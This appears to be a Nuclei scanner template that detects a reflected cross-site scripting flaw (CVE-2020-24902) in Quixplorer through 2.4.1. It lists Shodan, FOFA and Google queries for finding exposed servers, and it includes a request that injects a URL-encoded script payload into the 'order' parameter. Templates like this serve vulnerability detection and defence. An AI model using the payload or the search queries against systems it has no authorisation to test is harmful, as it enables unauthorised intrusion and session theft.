id: CVE-2020-24902

info:
  name: Quixplorer <=2.4.1 - Cross-Site Scripting
  author: edoardottt
  severity: medium
  description: |
    Quixplorer through 2.4.1 contains a cross-site scripting vulnerability. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site, which can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Upgrade to a patched version of Quixplorer (>=2.4.2) or apply the vendor-supplied patch to mitigate this vulnerability.
  reference:
    - https://dl.packetstormsecurity.net/1804-exploits/quixplorer241beta-xss.txt
    - https://nvd.nist.gov/vuln/detail/CVE-2020-24902
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-24902
    cwe-id: CWE-79
    epss-score: 0.02852
    epss-percentile: 0.84889
    cpe: cpe:2.3:a:quixplorer_project:quixplorer:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: quixplorer_project
    product: quixplorer
    shodan-query:
      - http.title:"My Download Server"
      - http.title:"my download server"
    fofa-query: title="my download server"
    google-query:
      - intitle:"My Download Server"
      - intitle:"my download server"
  tags: cve,cve2020,quixplorer,xss,quixplorer_project,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/index.php?action=post&order=bszop%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    host-redirects: true
    max-redirects: 2

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain)</script>&srt=yes"
          - "My Download"
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a00473045022077dea8b35e3ca266470dfa25e5603d1edbe0bb956898c0fdeda54365e0c93960022100f46d11c0c7f1d2c18741cb7466fcf08a9fc6100b9e97b5501d00c1200f367f9c:922c64590222798bb761d5b6d8e72950